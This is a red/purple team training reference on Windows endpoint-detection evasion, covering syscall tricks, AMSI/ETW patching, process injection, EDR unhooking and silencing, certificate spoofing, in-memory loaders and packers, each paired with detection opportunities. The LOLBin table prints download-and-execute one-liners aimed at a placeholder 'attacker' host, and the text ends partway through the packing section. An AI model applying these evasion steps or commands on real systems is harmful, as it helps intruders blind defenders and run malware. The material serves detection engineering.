<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->

# Advanced Evasion Techniques — Deep Technical Reference

> NERF Training Module | Classification: RED/PURPLE
> Last updated: 2026-03-14
> Purpose: Authorized red team operations and detection engineering

---

## Table of Contents

1. [Direct Syscalls](#1-direct-syscalls)
2. [AMSI Bypass Methods](#2-amsi-bypass-methods)
3. [ETW Bypass](#3-etw-bypass)
4. [Process Injection Techniques](#4-process-injection-techniques)
5. [EDR Unhooking](#5-edr-unhooking)
6. [EDR Silencing](#6-edr-silencing)
7. [Code Signing Abuse](#7-code-signing-abuse)
8. [In-Memory Execution](#8-in-memory-execution)
9. [LOLBin Chains](#9-lolbin-chains)
10. [Multi-Layer Payload Packing](#10-multi-layer-payload-packing)
11. [PowerShell Obfuscation](#11-powershell-obfuscation)
12. [BOF-Based Execution](#12-bof-based-execution)

---

## 1. Direct Syscalls

Direct syscalls bypass user-mode API hooks by invoking the kernel transition (`syscall` instruction) directly from attacker-controlled code, skipping the hooked `ntdll.dll` stubs entirely. This is the foundational technique underlying most modern EDR evasion.

### 1.1 Hell's Gate

**Concept**: Dynamically resolve syscall numbers (SSNs) at runtime by parsing `ntdll.dll` in-memory, searching for the characteristic byte pattern that precedes the `syscall` instruction in each Nt* function stub.

**Mechanism**:
1. Walk the EAT (Export Address Table) of `ntdll.dll` to locate Nt* function addresses
2. At each function entry, scan for the pattern: `4C 8B D1 B8 XX XX 00 00` where `XX XX` is the SSN
3. Extract the SSN from the `mov eax, SSN` instruction
4. Execute `syscall` directly with the resolved SSN in EAX

**Limitation**: Fails when EDR hooks overwrite the function prologue — the expected byte pattern is destroyed.

**DETECTION OPPORTUNITY**:
- Scan for `syscall` instructions outside `ntdll.dll` memory range (RIP validation)
- Monitor for processes reading `ntdll.dll` export table via `GetProcAddress` patterns for Nt* functions
- ETW thread stack telemetry showing syscall origin outside ntdll
- Kernel callback `PsSetCreateThreadNotifyRoutine` for thread creation with unusual start addresses

### 1.2 Halo's Gate

**Concept**: Extension of Hell's Gate that recovers SSNs even when the target function is hooked. When the byte pattern check fails at the target function, Halo's Gate searches **neighboring Nt* functions** (above and below in memory) to find unhooked stubs, then calculates the target SSN by offset arithmetic.

**Mechanism** (ref: `boku7/AsmHalosGate`):
1. Attempt Hell's Gate pattern match on target function
2. On failure (hook detected), iterate to adjacent Nt* functions: `neighbor_SSN = target_SSN +/- N`
3. Find an unhooked neighbor, extract its SSN
4. Calculate: `target_SSN = neighbor_SSN +/- offset`
5. Invoke syscall directly — "the code in ntdll is never executed"

**Implementation**: x64 assembly integrated with C. The SSN is placed in EAX, arguments in standard x64 calling convention registers, and the `syscall` instruction executes the transition.

**DETECTION OPPORTUNITY**:
- Same RIP-based detection as Hell's Gate — syscall from non-ntdll memory
- Memory scanning for `syscall`/`int 2eh` gadgets in non-system modules
- Behavioral: process loading ntdll but never calling through it (call stack anomaly)

### 1.3 SysWhispers (v1)

**Concept**: Pre-generates version-aware assembly stubs that query the PEB to determine Windows version, then select the correct SSN. Eliminates hardcoded version dependencies.

**Mechanism** (ref: `jthuraisamy/SysWhispers`):
1. Python generator produces `.asm` and `.h` files for requested syscalls
2. Generated stubs read the PEB to identify OS version at runtime
3. One function works across XP through Win10 (build 19042)
4. Stubs compile via MASM and integrate into Visual Studio projects

**Supported syscalls (~29 common)**: `NtAllocateVirtualMemory`, `NtWriteVirtualMemory`, `NtProtectVirtualMemory`, `NtCreateThreadEx`, `NtOpenProcess`, `NtFreeVirtualMemory`, `NtCreateSection`, `NtMapViewOfSection`, etc.

**Limitation**: x64 only. Generated stubs have well-known signatures.

**DETECTION OPPORTUNITY**:
- Static signatures on generated stub patterns (known byte sequences)
- YARA rules for SysWhispers-specific PEB version resolution code
- Kernel telemetry: syscall origin address not in ntdll range

### 1.4 SysWhispers3

**Concept**: Adds multiple invocation strategies to defeat dynamic analysis detecting embedded `syscall` instructions (ref: `klezVirus/SysWhispers3`).

**Evasion methods**:
- **Embedded**: Standard direct syscall (baseline, most detectable)
- **Egg Hunter**: Replaces `syscall` instruction with a marker/egg at compile time; at runtime, searches memory for a valid `syscall` gadget and patches the egg — defeats static pattern scanning
- **Jumper**: Instead of embedding `syscall`, locates the `syscall` instruction inside `ntdll.dll` and jumps to it — the RIP at syscall time is inside ntdll, defeating RIP validation
- **Jumper Randomized**: Same as Jumper but randomizes which ntdll syscall gadget is used per invocation — defeats behavioral profiling

**Improvements over v2**: x86 + x64 + WoW64 support. MSVC-targeted. Supports both `syscall` and legacy `int 2eh`.

**DETECTION OPPORTUNITY**:
- Egg Hunter: monitor for memory scanning patterns (ReadProcessMemory of ntdll)
- Jumper: call stack analysis — the frames before the ntdll syscall gadget will be anomalous (no standard ntdll function prologue)
- Kernel ETW: thread stack walking revealing non-standard call chains
- YARA for SysWhispers3 stub structure even with egg markers

### 1.5 D/Invoke Syscalls

**Concept**: Combines .NET dynamic invocation (DInvoke) with direct syscalls. Rather than P/Invoke declarations that are statically visible in metadata, delegates are resolved dynamically and syscalls invoked through runtime-generated stubs.

**Mechanism** (ref: `TheWover/DInvoke`):
- Resolves unmanaged functions by name, ordinal, or HMACMD5 hash from PEB
- Manual mapping loads fresh DLL copies bypassing hooks
- Module overloading maps DLLs backed by arbitrary disk files
- Delegate-based invocation — no static P/Invoke signatures in assembly metadata

**DETECTION OPPORTUNITY**:
- .NET ETW events: `AssemblyLoad`, `MethodLoad` events for unusual assemblies
- CLR profiling: detect manual AppDomain creation and in-memory assembly loading
- Suspicious `NtMapViewOfSection` calls mapping ntdll from disk (fresh copy pattern)
- PE metadata analysis: .NET assembly with no P/Invoke imports but performing syscalls

---

## 2. AMSI Bypass Methods

The Antimalware Scan Interface (AMSI) inspects script content (PowerShell, VBScript, JScript, .NET 4.8+ in-memory assemblies) before execution. All bypasses target the `amsi.dll` loaded into the process.

### 2.1 AmsiScanBuffer Patch (Memory Patch)

**Concept**: Overwrite the first bytes of `AmsiScanBuffer` in `amsi.dll` to force it to return `AMSI_RESULT_CLEAN` (value 0) for all scans.

**Mechanism**:
1. `LoadLibrary("amsi.dll")` — ensure it is loaded
2. `GetProcAddress(amsi, "AmsiScanBuffer")` — locate the function
3. `VirtualProtect` — change memory page to `PAGE_EXECUTE_READWRITE`
4. Overwrite prologue with: `mov eax, 0x80070057; ret` (returns `E_INVALIDARG`, causing the caller to treat the scan as clean)
5. Restore original memory protection

**Variants**:
- Patch `AmsiOpenSession` instead (same principle, different function)
- Patch the `amsi!AmsiScanBuffer` conditional jump to always take the clean path
- Use `NtWriteVirtualMemory` or direct syscall to avoid `WriteProcessMemory` hooks

**DETECTION OPPORTUNITY**:
- **ETW AMSI provider**: Monitor for `AmsiScanBuffer` returning unexpected error codes across all invocations
- **Integrity monitoring**: Periodic hash comparison of amsi.dll `.text` section in-memory vs on-disk
- **API call sequence**: `LoadLibrary("amsi") -> GetProcAddress("AmsiScanBuffer") -> VirtualProtect(RWX)` is a high-fidelity signal
- Kernel callback on `amsi.dll` memory page permission changes
- Sigma rule: process loading amsi.dll then immediately calling VirtualProtect on its address range

### 2.2 Reflection-Based Bypass (.NET)

**Concept**: Use .NET reflection to access the internal AMSI context field and set it to null/zero, disabling AMSI for the current session without patching code bytes.

**Mechanism**:
1. Access `System.Management.Automation.AmsiUtils` via reflection
2. Set the `amsiContext` field to `IntPtr.Zero`
3. All subsequent AMSI scans fail gracefully (no valid context = no scan)

**Variants**:
- Set `amsiInitFailed` field to `true` — AMSI believes initialization failed
- Access via `[Ref].Assembly.GetType()` with string obfuscation to evade string-based detection

**DETECTION OPPORTUNITY**:
- Script block logging (PowerShell 5.0+): patterns accessing `AmsiUtils` or `amsiContext`
- .NET ETW: reflection access to `System.Management.Automation` internal types
- Behavioral: PowerShell session where AMSI stops reporting after initial commands
- String detection in script block logs for `amsiInitFailed`, `amsiContext`, `AmsiUtils`

### 2.3 CLR Hooking

**Concept**: Hook the CLR's call to AMSI at a deeper level — intercept the managed-to-native transition where the CLR invokes `AmsiScanBuffer`.

**Mechanism**:
1. Locate the CLR's internal method that calls AMSI (varies by .NET version)
2. Redirect the call to a stub that returns clean
3. Works even if amsi.dll integrity monitoring detects patches

**DETECTION OPPORTUNITY**:
- CLR ETW events for method JIT compilation of suspicious types
- Integrity monitoring of `clr.dll` / `coreclr.dll` in-memory
- Behavioral: CLR loading without corresponding AMSI telemetry

### 2.4 AMSI Provider Deregistration

**Concept**: Remove the AMSI provider (e.g., Windows Defender's `MpOav.dll`) from the COM registration, so AMSI has no provider to forward content to.

**Mechanism**:
1. Modify registry: `HKLM\SOFTWARE\Microsoft\AMSI\Providers` — remove or rename the provider CLSID
2. Or: in-memory COM hijacking to redirect the provider CLSID to a benign DLL

**DETECTION OPPORTUNITY**:
- Registry monitoring: changes to `HKLM\SOFTWARE\Microsoft\AMSI\Providers`
- Sysmon Event ID 12/13/14 (registry operations on AMSI keys)
- COM object loading telemetry for AMSI-related CLSIDs

### 2.5 Obfuscation-Based Bypass (Chameleon)

**Concept**: Rather than disabling AMSI, obfuscate payloads until AMSI signatures no longer match (ref: `klezVirus/Chameleon`).

**Techniques**:
- Comment deletion/substitution
- Variable/function/data-type renaming (scope-aware: global, function, parameter)
- String concatenation splitting
- Backtick insertion (`i`n`v`o`k`e`)
- Case randomization
- Base64 and decimal encoding
- Dictionary-based replacement

**Validation**: Uses AMSITrigger locally to identify exact trigger strings, then obfuscates specifically those — avoids VirusTotal exposure.

**DETECTION OPPORTUNITY**:
- Behavioral analysis: heavily obfuscated scripts with high entropy
- Script block logging: deobfuscated content visible in PowerShell 5.0+ logs
- AMSI itself when signatures are updated for new obfuscation patterns
- Statistical analysis: unusual character distribution, excessive backtick usage

---

## 3. ETW Bypass

Event Tracing for Windows (ETW) provides kernel and user-mode telemetry. EDRs consume ETW events for .NET assembly loads, process creation, network connections, and more. Blinding ETW removes the telemetry source.

### 3.1 EtwEventWrite Patch

**Concept**: Patch `ntdll!EtwEventWrite` to return immediately without logging.

**Mechanism**:
1. Locate `EtwEventWrite` in `ntdll.dll`
2. `VirtualProtect` to make writable
3. Overwrite prologue with `ret` (0xC3) — all ETW events silently dropped
4. Variant: patch `EtwEventWriteFull` and `EtwEventWriteEx` as well

**Scope**: Per-process. Affects all ETW providers in that process including .NET CLR, Defender, and custom EDR providers.

**DETECTION OPPORTUNITY**:
- **ETW session monitoring**: detect processes that stop emitting expected events (gap detection)
- Integrity check: `ntdll.dll` `.text` section hash comparison
- Kernel ETW consumer: monitor for provider dropoff patterns
- `NtTraceEvent` kernel-level monitoring (bypass-resistant)
- Sigma: process with VirtualProtect calls targeting ntdll memory range

### 3.2 ETW Provider Patching (NtTraceControl)

**Concept**: Disable specific ETW providers by patching their registration or the `NtTraceControl` syscall.

**Mechanism**:
1. Enumerate ETW provider GUIDs
2. Patch the provider's `EnableCallback` to null
3. Or: use `NtTraceControl` to disable specific sessions

**DETECTION OPPORTUNITY**:
- Kernel-mode ETW consumer detecting provider deregistration
- Monitor for `NtTraceControl` calls from non-standard processes
- PPL (Protected Process Light) processes that maintain ETW integrity

### 3.3 ETW Thread Patching (per ScareCrow)

**Concept**: Flush registers across multiple syscall invocations so ETW buffers return without generating telemetry (ref: `optiv/ScareCrow`).

**Applied by default in ScareCrow loaders**: patches ETW in the parent process. Note: does not automatically patch ETW in injected child processes — a detection gap.

**DETECTION OPPORTUNITY**:
- Thread call stack analysis post-injection
- ETW gap detection: process creates child but child emits zero ETW events
- ScareCrow-specific signatures in loader stub patterns

---

## 4. Process Injection Techniques

Process injection executes code in the address space of another process, inheriting its trust level and evading per-process security controls.

### 4.1 Classic Remote Thread Injection

**API chain**: `OpenProcess` -> `VirtualAllocEx(MEM_COMMIT|MEM_RESERVE, PAGE_RW)` -> `WriteProcessMemory` -> `VirtualProtectEx(PAGE_RX)` -> `CreateRemoteThread`

**Variants**:
- `NtCreateThreadEx` instead of `CreateRemoteThread` (lower-level, fewer hooks)
- `RtlCreateUserThread` — undocumented, less monitored
- Direct syscall variants of all the above

**DETECTION OPPORTUNITY**:
- Sysmon Event ID 8 (CreateRemoteThread)
- Cross-process `VirtualAllocEx` + `WriteProcessMemory` + thread creation pattern
- ETW: `Microsoft-Windows-Threat-Intelligence` provider for remote memory operations
- Kernel callback: `PsSetCreateThreadNotifyRoutine`
- Stack trace on new thread: entry point in RWX or unbacked memory

### 4.2 APC Injection

**Concept**: Queue an Asynchronous Procedure Call to a thread in the target process. The APC executes when the thread enters an alertable wait state.

**API chain**: `OpenProcess` -> `VirtualAllocEx` -> `WriteProcessMemory` -> `OpenThread` -> `QueueUserAPC(shellcode_addr, thread)`

**Variant — Early Bird**: Target a process in suspended state (just created), queue APC to the main thread before it starts. The APC fires during thread initialization before EDR hooks are established.

**DETECTION OPPORTUNITY**:
- ETW: APC queue events from cross-process context
- Behavioral: process creation in suspended state followed by APC queue followed by resume
- Sysmon Event ID 8 variant detection
- Call stack: APC execution from unbacked/RWX memory

### 4.3 Process Hollowing

**Concept**: Create a legitimate process in suspended state, unmap its image, map malicious code in its place, update the thread context (set entry point), and resume.

**API chain**: `CreateProcess(SUSPENDED)` -> `NtUnmapViewOfSection` -> `VirtualAllocEx` -> `WriteProcessMemory` -> `SetThreadContext(RCX=new_entry)` -> `ResumeThread`

**DETECTION OPPORTUNITY**:
- `NtUnmapViewOfSection` of the primary module is extremely suspicious
- Image load events: process image on disk doesn't match in-memory
- Memory forensics: PEB.ImageBaseAddress mismatches loaded modules
- Sysmon Event ID 25 (process tampering)
- Behavioral: CreateProcess(SUSPENDED) -> NtUnmapViewOfSection pattern

### 4.4 Module Stomping / DLL Hollowing

**Concept**: Load a legitimate DLL, then overwrite its `.text` section with shellcode. The malicious code appears to execute from a legitimate, signed module.

**API chain**: `LoadLibrary("legitimate.dll")` -> parse PE headers for `.text` section -> `VirtualProtect(RWX)` -> memcpy shellcode -> `VirtualProtect(RX)` -> `CreateThread` at stomped address

**Advantage**: Shellcode execution address is inside a legitimately loaded, signed DLL — passes many memory scanners.

**DETECTION OPPORTUNITY**:
- In-memory `.text` section hash doesn't match on-disk version
- Unbacked executable memory where a known DLL should be
- Private vs shared memory page analysis (stomped pages become private copies)
- ETW: `ImageLoad` followed by `VirtualProtect` on the loaded image's code section

### 4.5 Thread Execution Hijacking

**Concept**: Suspend an existing thread, modify its instruction pointer (RIP/EIP) to point to injected shellcode, resume.

**API chain**: `OpenThread` -> `SuspendThread` -> `VirtualAllocEx` (in target) -> `WriteProcessMemory` -> `GetThreadContext` -> modify RIP -> `SetThreadContext` -> `ResumeThread`

**DETECTION OPPORTUNITY**:
- `SetThreadContext` across process boundaries
- Thread suspension followed by context modification
- ETW thread context change events
- Behavioral: target thread's call stack suddenly changes to unbacked memory

### 4.6 Mapping Injection (NtMapViewOfSection)

**Concept**: Create a shared section object, map it into both attacker and target process. Write shellcode via local mapping, execute via remote mapping — no `WriteProcessMemory` needed.

**API chain**: `NtCreateSection(SEC_COMMIT)` -> `NtMapViewOfSection(local, RW)` -> memcpy shellcode to local view -> `NtMapViewOfSection(target, RX)` -> `RtlCreateUserThread(target, remote_view_addr)`

**Advantage**: Avoids `WriteProcessMemory` — a heavily monitored API.

**DETECTION OPPORTUNITY**:
- Cross-process `NtMapViewOfSection` with execute permissions
- ETW: `Microsoft-Windows-Threat-Intelligence` VirtualMemory events
- Section object creation followed by dual-mapping pattern
- Shared memory regions between unrelated processes

### 4.7 Atom Bombing

**Concept**: Abuse the Windows atom table (global string storage) to write data into a target process without `WriteProcessMemory`. Then use APC to trigger `GlobalGetAtomName` to copy the data, followed by `NtSetContextThread` to execute.

**DETECTION OPPORTUNITY**:
- Unusual atom table write volumes
- APC + atom table access pattern
- ROP chain detection in thread context

### 4.8 Process Doppelganging

**Concept**: Abuse NTFS transactions to create a process from a file that was never actually committed to disk.

**API chain**: `NtCreateTransaction` -> `CreateFileTransacted` (write malicious PE) -> `NtCreateSection` (from transacted file) -> `RollbackTransaction` (file disappears) -> `NtCreateProcessEx` (from section) -> `NtCreateThreadEx`

**DETECTION OPPORTUNITY**:
- NTFS transaction usage by non-standard processes
- `NtCreateProcessEx` from a section not backed by an existing file
- Kernel callback: process creation with no corresponding file on disk
- ETW FileIO events showing transacted file operations

### 4.9 Process Herpaderping

**Concept**: Create a process from a file, then modify the file on disk before the kernel finishes reading it for signature/hash validation. The process runs malicious code but the file on disk appears legitimate.

**DETECTION OPPORTUNITY**:
- File modification between `NtCreateSection` and `NtCreateProcessEx`
- Hash mismatch: file hash at process creation time vs current file hash
- Behavioral: rapid file write -> section create -> file overwrite pattern

### 4.10 Phantom DLL Hollowing

**Concept**: Combine DLL hollowing with deletion-pending state. Load a DLL, put the file in delete-pending state (opened with `FILE_FLAG_DELETE_ON_CLOSE`), then stomp the .text section. The backing file is effectively gone, complicating forensic analysis.

**DETECTION OPPORTUNITY**:
- File opened with `FILE_FLAG_DELETE_ON_CLOSE` followed by section mapping
- DLL load events where the backing file no longer exists
- Private memory pages in what should be a shared DLL mapping

### 4.11 ScareCrow Process Injection

**Concept** (ref: `optiv/ScareCrow`): Unhooks the loader process, spawns target, enumerates loaded DLLs in target, retrieves their base addresses, uses `WriteProcessMemory` to overwrite disk-based (clean) DLL copies into the remote process — unhooking the target before injecting shellcode.

**DETECTION OPPORTUNITY**:
- Multiple `WriteProcessMemory` calls targeting known DLL base addresses
- Behavioral: process spawn -> DLL enumeration -> bulk memory writes -> code injection
- Cross-process memory writes to ntdll/kernel32 address ranges

---

## 5. EDR Unhooking

EDRs place inline hooks (JMP/detour instructions) at the beginning of sensitive `ntdll.dll` functions. Unhooking restores the original bytes.

### 5.1 Full ntdll Refresh (Disk Read)

**Concept**: Read clean `ntdll.dll` from `C:\Windows\System32\`, extract the `.text` section, overwrite the hooked in-memory copy.

**Mechanism** (ref: `optiv/ScareCrow`):
1. `CreateFileMapping` + `MapViewOfFile` on `C:\Windows\System32\ntdll.dll`
2. Parse PE headers to locate `.text` section offset and size
3. `VirtualProtect` on in-memory ntdll `.text` to `PAGE_EXECUTE_READWRITE`
4. `memcpy` clean `.text` over hooked `.text`
5. Restore `PAGE_EXECUTE_READ`

**DETECTION OPPORTUNITY**:
- File access: read of `ntdll.dll` from System32 by non-system process
- `VirtualProtect` on ntdll memory range (highly anomalous)
- EDR self-integrity check: hooks disappearing mid-session
- Sysmon Event ID 7 (Image Load) for secondary ntdll loads
- Minifilter detection of ntdll file reads

### 5.2 KnownDLLs Unhooking

**Concept**: Map a fresh ntdll copy from `\KnownDlls\ntdll.dll` (object manager namespace) using `NtOpenSection` + `NtMapViewOfSection`. These cached copies are maintained by the kernel and are unhooked.

**Advantage**: Uses lower-level APIs (`NtOpenSection`) that may themselves be unhooked or invoked via syscall.

**DETECTION OPPORTUNITY**:
- `NtOpenSection` on `\KnownDlls\ntdll.dll` — unusual for application code
- Multiple ntdll mappings in process memory
- Indirect syscall patterns used to call `NtOpenSection`

### 5.3 Suspended Process Unhooking

**Concept**: Spawn a sacrificial process in suspended state. EDR hooks haven't been applied yet (some EDRs hook during DLL load callbacks, which fire after resume). Read ntdll `.text` from the suspended process. Terminate the sacrificial process.

**Advantage**: Gets a truly clean copy without touching disk.

**DETECTION OPPORTUNITY**:
- Process creation in suspended state followed by cross-process memory read followed by immediate termination
- Very short-lived processes (< 1 second)
- `ReadProcessMemory` targeting ntdll in a suspended child

### 5.4 IAT Unhooking

**Concept**: Some EDRs modify the Import Address Table rather than inline hooking. Restore original IAT entries by resolving correct function addresses from a clean ntdll (ref: `Mr-Un1k0d3r/EDRs`).

**DETECTION OPPORTUNITY**:
- IAT modification events
- Process with IAT entries that don't point to expected module addresses then suddenly revert

### 5.5 Kernel-Level Hooks (Limitation)

Modern EDRs (CrowdStrike, Cortex XDR) increasingly use kernel callbacks and minifilters rather than user-mode hooks. These CANNOT be unhooked from user mode (ref: `Mr-Un1k0d3r/EDRs`):

- `PsSetCreateProcessNotifyRoutine` — process creation
- `PsSetCreateThreadNotifyRoutine` — thread creation
- `PsSetLoadImageNotifyRoutine` — image/DLL loading
- `ObRegisterCallbacks` — handle operations
- `CmRegisterCallbackEx` — registry operations
- Minifilter drivers — file system operations

**Implication**: User-mode unhooking alone is insufficient against advanced EDRs. Must combine with other techniques (direct syscalls, kernel exploitation, or driver-based approaches).

---

## 6. EDR Silencing

### 6.1 WFP-Based Network Blocking (EDRSilencer)

**Concept**: Use Windows Filtering Platform (WFP) to create network filters that block EDR processes from communicating with their cloud backends (ref: `netero1010/EDRSilencer`).

**Mechanism**:
1. Auto-detect running EDR processes (supports 16+ products including Defender, CrowdStrike, SentinelOne, Cortex XDR, Carbon Black, Elastic, etc.)
2. Create WFP filters blocking IPv4 and IPv6 outbound traffic from detected processes
3. Custom `FwpmGetAppIdFromFileName0` implementation that constructs app IDs without calling `CreateFileW` — bypasses EDR minifilter file access restrictions

**Operational modes**: blockedr (auto), block (specific PID/path), unblockall, unblock (specific filter ID)

**Effect**: EDR continues to run (no tampering alerts) but cannot send telemetry, alerts, or receive policy updates.

**DETECTION OPPORTUNITY**:
- WFP filter creation events (ETW `Microsoft-Windows-WFP` provider)
- WFP audit logging: new persistent filters targeting security product executables
- Behavioral: EDR process running but cloud connectivity lost
- WFP filter enumeration (defender can periodically check for rogue filters)
- Service health monitoring: EDR backend detects agent going silent
- Sysmon network events: absence of expected EDR heartbeat traffic

### 6.2 Firewall Rule Manipulation

**Concept**: Use `netsh advfirewall` or COM interfaces to add outbound deny rules for EDR executables.

**DETECTION OPPORTUNITY**:
- Firewall rule change events (Event ID 2004, 2006)
- Sysmon Event ID 1: `netsh.exe` with firewall modification arguments

---

## 7. Code Signing Abuse

### 7.1 Certificate Cloning / Spoofing (Limelighter)

**Concept**: Generate fake code-signing certificates mimicking legitimate vendors, or clone certificate metadata from legitimate signed binaries (ref: `Tylous/Limelighter`).

**Mechanisms**:
- **Fake cert generation**: Specify a domain (e.g., `microsoft.com`) to generate a self-signed certificate with spoofed subject/issuer fields. Creates PFX12 files for signing.
- **Certificate cloning** (`-clone`): Copy signing date, countersignatures, certificate chain attributes, and other measurable properties from a legitimately signed file.
- **Signing**: Apply generated/cloned certificate to unsigned EXEs and DLLs using `osslsigncode`.

**OpSec note**: Signing with `microsoft.com` is ineffective against Defender ATP which validates certificate chain trust. Use domains of less-scrutinized software vendors.

**ScareCrow integration**: ScareCrow includes a Go reimplementation of Limelighter. Accepts domain input or `-clone` flag to clone from legitimate files.

**DETECTION OPPORTUNITY**:
- Certificate validation: verify full chain of trust, not just subject name
- Untrusted root CA detection: spoofed certs won't chain to trusted roots
- Sigma: Sysmon Event ID 7 (Image Load) with signature status = Invalid/Untrusted
- Code integrity policies: enforce that only trusted-root-signed binaries load
- Behavioral: unsigned/self-signed binary executing from unusual path
- Certificate transparency log monitoring for spoofed domain certificates

### 7.2 Timestomping Certificates

**Concept**: Clone the signing timestamp from a legitimate binary to make the malicious binary appear to have been signed at a credible time.

**DETECTION OPPORTUNITY**:
- Timestamp server verification: contact the timestamping authority to validate
- Certificate serial number / thumbprint lookup against known-good lists

---

## 8. In-Memory Execution

### 8.1 Shellcode Generation (Donut)

**Concept**: Convert .NET assemblies, PE executables, VBS/JS scripts into position-independent shellcode for in-memory execution (ref: `TheWover/donut`).

**Mechanism**:
1. **Generator**: Compress input (aPLib / LZNT1 / Xpress), encrypt with Chaskey 128-bit cipher, embed in loader template
2. **Loader** (position-independent shellcode):
   - For .NET: hosts CLR via Unmanaged CLR Hosting API, creates isolated AppDomain, loads assembly via `AppDomain.Load_3`, invokes entry point
   - For native PE: custom loader with relocation, delayed imports, TLS support
   - For scripts: IActiveScript interface with WSH compatibility

**Evasion features**:
- AMSI + WLDP bypass (patching before execution)
- ETW bypass (XPN technique)
- PE header overwrite or decoy header replacement (defeats disk-memory comparison)
- Command line patching (hides true arguments)
- Output formats: raw, Base64, C array, PowerShell, hex

**DETECTION OPPORTUNITY**:
- CLR loading in processes that don't normally use .NET (e.g., notepad.exe)
- ETW: `Microsoft-Windows-DotNETRuntime` AssemblyLoad events for unnamed/in-memory assemblies
- Memory scanning for Donut loader signatures
- Behavioral: process loading `clr.dll` + `mscoree.dll` without corresponding .NET EXE on disk
- WLDP policy bypass attempts
- Large RWX memory allocations followed by CLR initialization

### 8.2 DarkLoadLibrary (In-Memory DLL Loading)

**Concept**: Custom PE loader that loads DLLs entirely in memory, bypassing `LoadLibrary` and associated kernel callbacks (ref: `bats3c/DarkLoadLibrary`).

**Loading modes**:
- `LOAD_LOCAL_FILE`: Load from disk path (still avoids kernel callbacks by manual parsing)
- `LOAD_MEMORY`: Load from memory buffer — no disk touch
- `NO_LINK`: Execute without PEB registration — invisible to `EnumProcessModules` and similar enumeration

**Mechanism**: Manual PE parsing, import resolution, relocation fixing, entry point execution — all without `LdrLoadDll` or `NtCreateSection` for the target DLL.

**DETECTION OPPORTUNITY**:
- Memory scanning: executable memory regions not backed by any file (unbacked RX/RWX)
- PEB inconsistency: code executing from memory not listed in PEB's `InMemoryOrderModuleList`
- ETW gap: no `ImageLoad` event for a module that is clearly executing
- Thread start address in unbacked memory region
- Behavioral: process with active threads in memory not corresponding to any loaded module

### 8.3 BOF.NET (In-Process .NET Execution)

**Concept**: Load and execute .NET assemblies as Beacon Object Files within the Cobalt Strike Beacon process (ref: `CCob/BOF.NET`).

**Mechanism**:
1. `bofnet_init`: Initialize .NET CLR within Beacon
2. Create isolated AppDomain for assembly hosting
3. Chunked assembly loading (supports > 1MB assemblies)
4. Custom `BeaconObject` classes with `Go()` entry point
5. Assemblies persist in memory for subsequent executions

**Evasion**: No fork-and-run (no child process creation). Custom implementations of screen capture, keylogging, file ops replace signatured built-in commands.

**DETECTION OPPORTUNITY**:
- CLR initialization in unexpected processes
- .NET ETW: AppDomain creation, assembly loads without file backing
- Named pipe patterns associated with Cobalt Strike
- Memory scanning for `BOFNET.Runtime` strings

### 8.4 Reflective DLL Injection

**Concept**: DLL contains its own loader in an exported function. Injected into target process as raw bytes, then a bootstrap stub calls the reflective loader which resolves imports, performs relocations, and calls DllMain — all without touching the Windows loader.

**DETECTION OPPORTUNITY**:
- `ReflectiveLoader` export name (though customizable)
- MZ/PE headers in non-image memory regions
- Thread creation in unbacked executable memory
- ETW: no corresponding `ImageLoad` for active code

---

## 9. LOLBin Chains

Living-off-the-Land Binaries (LOLBins) are legitimate, signed Microsoft binaries abused for execution, download, or bypass. Chaining multiple LOLBins increases evasion.

### 9.1 Execution Chains

| Chain | Mechanism | ATT&CK |
|-------|-----------|--------|
| `mshta.exe -> wscript -> powershell` | HTA downloads/executes script that spawns PowerShell | T1218.005 -> T1059.005 -> T1059.001 |
| `certutil -urlcache -f URL payload.exe && payload.exe` | Download + execute via certificate utility | T1105 -> T1204.002 |
| `rundll32.exe javascript:"\..\mshtml,RunHTMLApplication"` | JavaScript execution via rundll32 | T1218.011 |
| `msiexec /q /i http://attacker/payload.msi` | Silent install from remote MSI | T1218.007 |
| `regsvr32 /s /n /u /i:http://attacker/file.sct scrobj.dll` | Squiblydoo — scriptlet execution | T1218.010 |
| `bitsadmin /transfer job http://attacker/payload %temp%\p.exe` | BITS download + execute | T1197 |
| `wmic process call create "cmd /c payload.exe"` | Process creation via WMI | T1047 |
| `forfiles /p c:\windows /m notepad.exe /c payload.exe` | Indirect execution via forfiles | T1202 |
| `pcalua.exe -a payload.exe` | Program Compatibility Assistant execution | T1202 |

### 9.2 ScareCrow LOLBin Loaders

ScareCrow generates these LOLBin-based loaders (ref: `optiv/ScareCrow`):
- **Control Panel (.cpl)**: Spawns `rundll32.exe` to load the CPL
- **WScript**: Manifest-based registration-free COM for DLL sideloading
- **Excel (XLL)**: Loads into hidden Excel process
- **MSIExec**: Hidden MSI installer process

### 9.3 DLL Sideloading Chains

**Concept**: Place a malicious DLL alongside a legitimate signed EXE that loads it by name (DLL search order hijacking).

**Common targets**: Teams, Slack, OneDrive, Visual Studio components — any signed EXE that loads a non-SxS DLL without full path.

**DETECTION OPPORTUNITY (all LOLBin techniques)**:
- Sysmon Event ID 1: unusual parent-child process relationships
- Command line logging: suspicious arguments to LOLBins
- Behavioral: LOLBin executing from non-standard directory
- Network connections from LOLBins (certutil, bitsadmin, mshta connecting outbound)
- Sigma rules: extensive LOLBin coverage in SigmaHQ repository
- Module load events: DLL loads from unexpected paths alongside signed EXEs
- Application whitelisting / WDAC policies: restrict LOLBin execution
- Process lineage: LOLBin chains produce distinctive parent-child trees

---

## 10. Multi-Layer Payload Packing

### 10.1 ProtectMyTooling Pipeline

**Concept**: Chain multiple packers/obfuscators sequentially — each stage's output feeds the next (ref: `mgeeky/ProtectMyTooling`).

**Example**: `callobf,hyperion,upx` produces `UPX(Hyperion(CallObf(input)))`

**Supported packers (32+)**:
- **PE protectors**: Hyperion (runtime encryption), Enigma, Themida (VM-based), VMProtect, UPX, MPRESS
- **Shellcode converters**: Donut, Amber, pe2shc, ScareCrow
- **Shellcode encoders**: SGN (Shikata Ga-Nai — polymorphic XOR), sRDI
- **.NET obfuscators**: ConfuserEx, LoGiC.NET, AsStrongAsFuck, .NET Reactor, SmartAssembly
- **Specialized loaders**: Nimcrypt2, NimPackt, NimSyscallPacker, Freeze

**Watermarking (RedWatermarker)**: Track artifacts through engagement:
- DOS stub text injection
- PE checksum modification
- Overlay data appending
- Custom PE section creation
- All artifacts tracked with MD5/SHA1/SHA256 + IMPHASH per stage

**PE Backdooring (RedBackdoorer)**: Inject shellcode into legitimate PEs before applying packer chains.

**DETECTION OPPORTUNITY**:
- Entropy analysis: heavily packed binaries have near-maximum entropy
